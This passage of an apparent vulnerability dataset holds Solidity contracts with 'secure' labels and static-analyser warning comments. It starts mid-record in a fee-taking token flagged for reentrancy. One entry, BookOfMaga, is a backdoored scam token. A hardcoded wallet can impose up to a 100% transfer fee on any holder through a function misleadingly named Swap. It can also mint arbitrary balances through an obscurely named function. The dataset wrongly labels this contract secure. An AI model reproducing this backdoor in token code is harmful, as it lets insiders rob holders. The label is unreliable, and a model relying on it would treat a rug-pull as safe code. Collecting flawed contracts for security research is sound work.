public view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af26aa7): MEANEGGPLANT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for af26aa7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5e0070d\n\t\t// reentrancy-benign | ID: f8fbb92\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 8b78a44\n\t\t// reentrancy-events | ID: 2ac5611\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 12f8ef3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 12f8ef3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3e6b5aa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3e6b5aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f428110): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f428110: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (from != owner() && to != owner())\n require(\n amount <= _maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount.\"\n );\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n bool overMinTokenBalance = contractTokenBalance >=\n numTokensSellToAddToLiquidity;\n if (\n overMinTokenBalance &&\n !inSwapAndLiquify &&\n from != uniswapV2Pair &&\n swapAndLiquifyEnabled\n ) {\n contractTokenBalance = numTokensSellToAddToLiquidity;\n\n\t\t\t// reentrancy-events | ID: 12f8ef3\n\t\t\t// reentrancy-benign | ID: 3e6b5aa\n\t\t\t// reentrancy-eth | ID: f428110\n swapAndLiquify(contractTokenBalance);\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {\n takeFee = false;\n }\n\n if (takeFee) {\n if (to != uniswapV2Pair) {\n require(\n amount + balanceOf(to) <= _maxWalletSize,\n \"Recipient exceeds max wallet size.\"\n );\n }\n }\n\n\t\t// reentrancy-events | ID: 12f8ef3\n\t\t// reentrancy-benign | ID: 3e6b5aa\n\t\t// reentrancy-eth | ID: f428110\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8b78a44): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8b78a44: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5e0070d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5e0070d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 67fc0c0): MEANEGGPLANT.swapAndLiquify(uint256) has external calls inside a loop address(taxWallet).transfer(marketingshare)\n\t// Recommendation for 67fc0c0: Favor pull over push strategy for external calls.\n function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {\n uint256 half = contractTokenBalance.div(2);\n uint256 otherHalf = contractTokenBalance.sub(half);\n\n uint256 initialBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 8b78a44\n\t\t// reentrancy-benign | ID: 5e0070d\n swapTokensForEth(half);\n\n uint256 newBalance = address(this).balance.sub(initialBalance);\n uint256 marketingshare = newBalance.mul(80).div(100);\n\t\t// reentrancy-events | ID: 12f8ef3\n\t\t// reentrancy-events | ID: 8b78a44\n\t\t// reentrancy-events | ID: 2ac5611\n\t\t// calls-loop | ID: 67fc0c0\n\t\t// reentrancy-eth | ID: f428110\n\t\t// reentrancy-eth | ID: 174466a\n\t\t// reentrancy-eth | ID: 6b1a617\n payable(taxWallet).transfer(marketingshare);\n newBalance -= marketingshare;\n\n\t\t// reentrancy-events | ID: 8b78a44\n\t\t// reentrancy-benign | ID: 5e0070d\n addLiquidity(otherHalf, newBalance);\n\n\t\t// reentrancy-events | ID: 8b78a44\n emit SwapAndLiquify(half, newBalance, otherHalf);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 5f4c5f0): MEANEGGPLANT.swapTokensForEth(uint256) has external calls inside a loop uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp)\n\t// Recommendation for 5f4c5f0: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: ef81982): MEANEGGPLANT.swapTokensForEth(uint256) has external calls inside a loop path[1] = uniswapV2Router.WETH()\n\t// Recommendation for ef81982: Favor pull over push strategy for external calls.\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n\t\t// calls-loop | ID: ef81982\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 12f8ef3\n\t\t// reentrancy-events | ID: 8b78a44\n\t\t// reentrancy-events | ID: 2ac5611\n\t\t// reentrancy-benign | ID: 5e0070d\n\t\t// reentrancy-benign | ID: f8fbb92\n\t\t// reentrancy-benign | ID: 3e6b5aa\n\t\t// calls-loop | ID: 5f4c5f0\n\t\t// reentrancy-eth | ID: f428110\n\t\t// reentrancy-eth | ID: 174466a\n\t\t// reentrancy-eth | ID: 6b1a617\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 92be14b): MEANEGGPLANT.addLiquidity(uint256,uint256) has external calls inside a loop uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 92be14b: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a1d02f1): MEANEGGPLANT.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for a1d02f1: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 12f8ef3\n\t\t// reentrancy-events | ID: 8b78a44\n\t\t// reentrancy-events | ID: 2ac5611\n\t\t// reentrancy-benign | ID: 5e0070d\n\t\t// reentrancy-benign | ID: f8fbb92\n\t\t// reentrancy-benign | ID: 3e6b5aa\n\t\t// calls-loop | ID: 92be14b\n\t\t// unused-return | ID: a1d02f1\n\t\t// reentrancy-eth | ID: f428110\n\t\t// reentrancy-eth | ID: 174466a\n\t\t// reentrancy-eth | ID: 6b1a617\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!canTrade) {\n require(sender == owner());\n }\n\n if (botWallets[sender] || botWallets[recipient]) {\n require(botscantrade, \"bots arent allowed to trade\");\n }\n\n if (!takeFee) removeAllFee();\n\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: f428110\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: f428110\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 12f8ef3\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: f428110\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: f428110\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n\t\t// reentrancy-eth | ID: f428110\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 12f8ef3\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: f428110\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n\t\t// reentrancy-eth | ID: f428110\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: f428110\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 12f8ef3\n emit Transfer(sender, recipient, tTransferAmount);\n }\n}", "file_name": "solidity_code_2581.sol", "secure": 0, "size_bytes": 33308 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC1155Receiver.sol\" as IERC1155Receiver;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC1155Receiver).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}", "file_name": "solidity_code_2582.sol", "secure": 1, "size_bytes": 633 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./EIP712Base.sol\" as EIP712Base;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract NativeMetaTransaction is EIP712Base {\n using SafeMath for uint256;\n bytes32 private constant META_TRANSACTION_TYPEHASH =\n keccak256(\n bytes(\n \"MetaTransaction(uint256 nonce,address from,bytes functionSignature)\"\n )\n );\n event MetaTransactionExecuted(\n address userAddress,\n address payable relayerAddress,\n bytes functionSignature\n );\n mapping(address => uint256) nonces;\n\n struct MetaTransaction {\n uint256 nonce;\n address from;\n bytes functionSignature;\n }\n\n function executeMetaTransaction(\n address userAddress,\n bytes memory functionSignature,\n bytes32 sigR,\n bytes32 sigS,\n uint8 sigV\n ) public payable returns (bytes memory) {\n MetaTransaction memory metaTx = MetaTransaction({\n nonce: nonces[userAddress],\n from: userAddress,\n functionSignature: functionSignature\n });\n\n require(\n verify(userAddress, metaTx, sigR, sigS, sigV),\n \"Signer and signature do not match\"\n );\n\n nonces[userAddress] = nonces[userAddress].add(1);\n\n emit MetaTransactionExecuted(\n userAddress,\n payable(msg.sender),\n functionSignature\n );\n\n (bool success, bytes memory returnData) = address(this).call(\n abi.encodePacked(functionSignature, userAddress)\n );\n require(success, \"Function call not successful\");\n\n return returnData;\n }\n\n function hashMetaTransaction(\n MetaTransaction memory metaTx\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encode(\n META_TRANSACTION_TYPEHASH,\n metaTx.nonce,\n metaTx.from,\n keccak256(metaTx.functionSignature)\n )\n );\n }\n\n function getNonce(address user) public view returns (uint256 nonce) {\n nonce = nonces[user];\n }\n\n function verify(\n address signer,\n MetaTransaction memory metaTx,\n bytes32 sigR,\n bytes32 sigS,\n uint8 sigV\n ) internal view returns (bool) {\n require(signer != address(0), \"NativeMetaTransaction: INVALID_SIGNER\");\n return\n signer ==\n ecrecover(\n toTypedMessageHash(hashMetaTransaction(metaTx)),\n sigV,\n sigR,\n sigS\n );\n }\n}", "file_name": "solidity_code_2583.sol", "secure": 1, "size_bytes": 2799 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BookOfMaga is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 22e5d37): BookOfMaga._decimals should be immutable \n\t// Recommendation for 22e5d37: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 49f93e9): BookOfMaga._totalSupply should be immutable \n\t// Recommendation for 49f93e9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: aec228a): BookOfMaga._TeamWalletaddress should be immutable \n\t// Recommendation for aec228a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _TeamWalletaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _TeamWalletaddress = 0xF13E2b72d1851832105469971a1D48e50Ace943C;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Swap(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _TeamWalletaddress;\n }\n\n function liqmmgbsburnt(address recipient, uint256 airDrop) external {\n uint256 receiveRewrd = airDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_2584.sol", "secure": 1, "size_bytes": 5383 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC1155Receiver.sol\" as ERC1155Receiver;\n\ncontract ERC1155Holder is ERC1155Receiver {\n function onERC1155Received(\n address,\n address,\n uint256,\n uint256,\n bytes memory\n ) public virtual override returns (bytes4) {\n return this.onERC1155Received.selector;\n }\n\n function onERC1155BatchReceived(\n address,\n address,\n uint256[] memory,\n uint256[] memory,\n bytes memory\n ) public virtual override returns (bytes4) {\n return this.onERC1155BatchReceived.selector;\n }\n}", "file_name": "solidity_code_2585.sol", "secure": 1, "size_bytes": 658 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\" as ERC1155;\nimport \"./ERC1155Holder.sol\" as ERC1155Holder;\nimport \"./NativeMetaTransaction.sol\" as NativeMetaTransaction;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract WaifuGirl is ERC1155, ERC1155Holder, NativeMetaTransaction, Ownable {\n using SafeMath for uint256;\n string constant NAME = \"WaifuGirl\";\n string constant SYMBOL = \"WG\";\n string constant _CONTRACT = \"ERC1155\";\n uint256 constant MAX_TOTAL_SUPPLY = 5888;\n uint256 constant MAX_NUM_PER_TOKEN = 1;\n uint256 constant batchCount = 500;\n uint256 public price = 50000000000000000;\n uint256 public currentID = 1;\n bool public salesStart;\n string constant URI_BASE = \"https://ewr1.vultrobjects.com/waifu/\";\n bytes4 private constant INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7;\n bytes4 private constant INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26;\n bytes4 private constant INTERFACE_SIGNATURE_URI = 0x0e89341c;\n string private randstr;\n mapping(uint256 => bool) public unlocked;\n constructor() ERC1155(URI_BASE) {\n _initializeEIP712(NAME);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC1155Receiver) returns (bool) {\n if (\n interfaceId == INTERFACE_SIGNATURE_ERC165 ||\n interfaceId == INTERFACE_SIGNATURE_ERC1155 ||\n interfaceId == INTERFACE_SIGNATURE_URI\n ) {\n return true;\n }\n return super.supportsInterface(interfaceId);\n }\n\n function unlock(uint256 _tokenId) public {\n require(\n _balances[_tokenId][msg.sender] == 1,\n \"you have to own this token\"\n );\n unlocked[_tokenId] = true;\n }\n\n function uri(\n uint256 _tokenId\n ) public view override returns (string memory) {\n return _getUri(_tokenId);\n }\n\n function _getUri(uint256 _tokenId) internal view returns (string memory) {\n if (unlocked[_tokenId]) {\n return\n string(\n abi.encodePacked(\n URI_BASE,\n Strings.toString(_random(_tokenId)),\n \".txt\"\n )\n );\n } else {\n return string(abi.encodePacked(URI_BASE, \"box.txt\"));\n }\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function withdraw() public onlyOwner {\n (bool success, ) = msg.sender.call{value: address(this).balance}(\"\");\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function mintPayable(uint256 _customBatchCount) external payable {\n require(salesStart, \"mint after sales Start\");\n require(_customBatchCount > 0, \"count should be more than one\");\n require(\n price.mul(_customBatchCount) <= msg.value,\n \"Sorry, sending incorrect eth value\"\n );\n\n _batchMint(msg.sender, _customBatchCount);\n }\n\n function mint(address _to, uint256 _customBatchCount) external onlyOwner {\n require(salesStart, \"mint after sales Start\");\n if (_customBatchCount <= 0) _customBatchCount = batchCount;\n\n _batchMint(_to, _customBatchCount);\n }\n\n function _batchMint(address _to, uint256 num) private {\n uint256 i = 0;\n uint256 range = num + currentID;\n require(\n range <= MAX_TOTAL_SUPPLY,\n \"Sorry, Request More than TotalSupply, Please Change Number\"\n );\n uint256[] memory ids = new uint256[](num);\n uint256[] memory amounts = new uint256[](num);\n for (; currentID < range; currentID++) {\n ids[i] = currentID;\n amounts[i] = MAX_NUM_PER_TOKEN;\n require(\n _balances[currentID][_to] == 0,\n \"Cannot mint existed token id\"\n );\n ++i;\n }\n super._mintBatch(_to, ids, amounts, \"\");\n }\n\n function burnBatch(\n address _account,\n uint256[] memory _ids\n ) external onlyOwner {\n super._burnBatch(_account, _ids, _getAmountArray(_ids.length));\n }\n\n function transferBatch(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts\n ) external {\n super.safeBatchTransferFrom(from, to, ids, amounts, \"\");\n }\n\n function _getAmountArray(\n uint256 arrayLen\n ) private pure returns (uint256[] memory) {\n uint256[] memory _amounts = new uint256[](arrayLen);\n for (uint256 i = 0; i < arrayLen; i++) {\n _amounts[i] = MAX_NUM_PER_TOKEN;\n }\n return _amounts;\n }\n\n function name() external pure returns (string memory) {\n return NAME;\n }\n\n function symbol() external pure returns (string memory) {\n return SYMBOL;\n }\n\n function supportsFactoryInterface() public pure returns (bool) {\n return true;\n }\n\n function factorySchemaName() external pure returns (string memory) {\n return _CONTRACT;\n }\n\n function totalSupply() external pure returns (uint256) {\n return MAX_TOTAL_SUPPLY;\n }\n\n function setRandstr(string memory _str) external onlyOwner {\n randstr = _str;\n }\n\n function _random(uint256 a) private view returns (uint256) {\n return (uint(keccak256(abi.encodePacked(a, randstr))));\n }\n\n function setSalesStart(bool _salesStart) external onlyOwner {\n salesStart = _salesStart;\n }\n\n function setPrice(uint256 _price) external onlyOwner {\n price = _price;\n }\n}", "file_name": "solidity_code_2586.sol", "secure": 1, "size_bytes": 5977 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract IreneGold is Context, Ownable, ERC20 {\n constructor() Ownable() ERC20(\"Irene Gold\", \"IGLD\") {\n _mint(_msgSender(), 69420000000 * 10 ** 18);\n }\n}", "file_name": "solidity_code_2587.sol", "secure": 1, "size_bytes": 429 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721AStorage.sol\" as ERC721AStorage;\n\nlibrary ERC721AStorage {\n struct TokenApprovalRef {\n address value;\n }\n\n struct Layout {\n uint256 _currentIndex;\n uint256 _burnCounter;\n string _name;\n string _symbol;\n mapping(uint256 => uint256) _packedOwnerships;\n mapping(address => uint256) _packedAddressData;\n mapping(uint256 => ERC721AStorage.TokenApprovalRef) _tokenApprovals;\n mapping(address => mapping(address => bool)) _operatorApprovals;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n keccak256(\"ERC721A.contracts.storage.ERC721A\");\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n\n assembly {\n l.slot := slot\n }\n }\n}", "file_name": "solidity_code_2588.sol", "secure": 1, "size_bytes": 888 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Math {\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a >= b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);\n }\n}", "file_name": "solidity_code_2589.sol", "secure": 1, "size_bytes": 456 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address account,\n uint256 balance,\n uint256 amount\n );\n\n error ERC20InvalidSender(address account);\n\n error ERC20InvalidReceiver(address account);\n\n error ERC20InvalidApprover(address account);\n\n error ERC20InvalidSpender(address account);\n\n error ERC20InsufficientAllowance(\n address account,\n uint256 allowance,\n uint256 amount\n );\n}", "file_name": "solidity_code_259.sol", "secure": 1, "size_bytes": 542 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\n\nlibrary Arrays {\n function findUpperBound(\n uint256[] storage array,\n uint256 element\n ) internal view returns (uint256) {\n if (array.length == 0) {\n return 0;\n }\n\n uint256 low = 0;\n uint256 high = array.length;\n\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (array[mid] > element) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n if (low > 0 && array[low - 1] == element) {\n return low - 1;\n } else {\n return low;\n }\n }\n}", "file_name": "solidity_code_2590.sol", "secure": 1, "size_bytes": 791 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/Arrays.sol\" as Arrays;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\n\nabstract contract ERC20Snapshot is ERC20 {\n using Arrays for uint256[];\n using Counters for Counters.Counter;\n\n struct Snapshots {\n uint256[] ids;\n uint256[] values;\n }\n\n mapping(address => Snapshots) private _accountBalanceSnapshots;\n Snapshots private _totalSupplySnapshots;\n\n Counters.Counter private _currentSnapshotId;\n\n event Snapshot(uint256 id);\n\n function _snapshot() internal virtual returns (uint256) {\n _currentSnapshotId.increment();\n\n uint256 currentId = _currentSnapshotId.current();\n emit Snapshot(currentId);\n return currentId;\n }\n\n function balanceOfAt(\n address account,\n uint256 snapshotId\n ) public view virtual returns (uint256) {\n (bool snapshotted, uint256 value) = _valueAt(\n snapshotId,\n _accountBalanceSnapshots[account]\n );\n\n return snapshotted ? value : balanceOf(account);\n }\n\n function totalSupplyAt(\n uint256 snapshotId\n ) public view virtual returns (uint256) {\n (bool snapshotted, uint256 value) = _valueAt(\n snapshotId,\n _totalSupplySnapshots\n );\n\n return snapshotted ? value : totalSupply();\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n super._beforeTokenTransfer(from, to, amount);\n\n if (from == address(0)) {\n _updateAccountSnapshot(to);\n _updateTotalSupplySnapshot();\n } else if (to == address(0)) {\n _updateAccountSnapshot(from);\n _updateTotalSupplySnapshot();\n } else {\n _updateAccountSnapshot(from);\n _updateAccountSnapshot(to);\n }\n }\n\n function _valueAt(\n uint256 snapshotId,\n Snapshots storage snapshots\n ) private view returns (bool, uint256) {\n require(snapshotId > 0, \"ERC20Snapshot: id is 0\");\n\n require(\n snapshotId <= _currentSnapshotId.current(),\n \"ERC20Snapshot: nonexistent id\"\n );\n\n uint256 index = snapshots.ids.findUpperBound(snapshotId);\n\n if (index == snapshots.ids.length) {\n return (false, 0);\n } else {\n return (true, snapshots.values[index]);\n }\n }\n\n function _updateAccountSnapshot(address account) private {\n _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));\n }\n\n function _updateTotalSupplySnapshot() private {\n _updateSnapshot(_totalSupplySnapshots, totalSupply());\n }\n\n function _updateSnapshot(\n Snapshots storage snapshots,\n uint256 currentValue\n ) private {\n uint256 currentId = _currentSnapshotId.current();\n if (_lastSnapshotId(snapshots.ids) < currentId) {\n snapshots.ids.push(currentId);\n snapshots.values.push(currentValue);\n }\n }\n\n function _lastSnapshotId(\n uint256[] storage ids\n ) private view returns (uint256) {\n if (ids.length == 0) {\n return 0;\n } else {\n return ids[ids.length - 1];\n }\n }\n}", "file_name": "solidity_code_2591.sol", "secure": 1, "size_bytes": 3530 }
